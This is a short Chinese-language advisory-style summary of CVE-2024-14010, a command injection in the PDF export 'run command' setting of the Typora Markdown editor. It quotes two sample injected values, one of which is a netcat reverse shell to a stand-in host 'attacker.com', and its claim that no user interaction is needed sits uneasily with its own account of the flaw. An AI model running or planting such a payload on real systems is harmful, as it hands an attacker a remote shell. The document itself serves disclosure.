CVE-2024-14010CVE-2024-14010是Typora 1.7.4版本中存在的一个严重命令注入漏洞。该漏洞位于Typora的PDF导出功能首选项设置中,攻击者可以通过在PDF导出的"run command"输入字段中注入恶意系统命令,从而实现远程代码执行(RCE)。由于CVSS评分高达9.8分,属于极度严重的安全漏洞,影响机密性、完整性和可用性三个安全维度。攻击者无需任何认证或用户交互即可利用此漏洞,这意味着任何能够访问Typora应用的用户或能够诱导用户打开特定文档的攻击者都可以执行任意系统命令。此漏洞已被公开披露,且有公开的POC代码,攻击者可以轻松获取并利用。Typora是一款广泛使用的跨平台Markdown编辑器,受影响用户群体庞大,漏洞危害范围极广。
该命令注入漏洞的根本原因在于Typora在处理PDF导出时的命令执行逻辑存在缺陷。当用户配置PDF导出选项时,Typora允许用户输入自定义的运行命令(run command),但程序未对用户输入进行充分的输入验证和过滤。攻击者可以利用这一缺陷,通过构造包含恶意系统命令的字符串来绕过安全检查。例如,在run command字段中注入类似`; whoami > /tmp/pwned`或`| nc attacker.com 4444 -e /bin/bash`的命令,Typora会将这些命令附加到实际的PDF转换命令中执行。由于该功能设计为允许用户自定义转换命令,程序直接调用系统shell来执行这些命令,导致用户输入的命令与系统命令一起被执行。攻击者可以利用此漏洞执行任意系统命令,包括但不限于文件读写、系统信息收集、反向shell连接、持久化后门部署等。漏洞影响Typora 1.7.4及所有更早版本。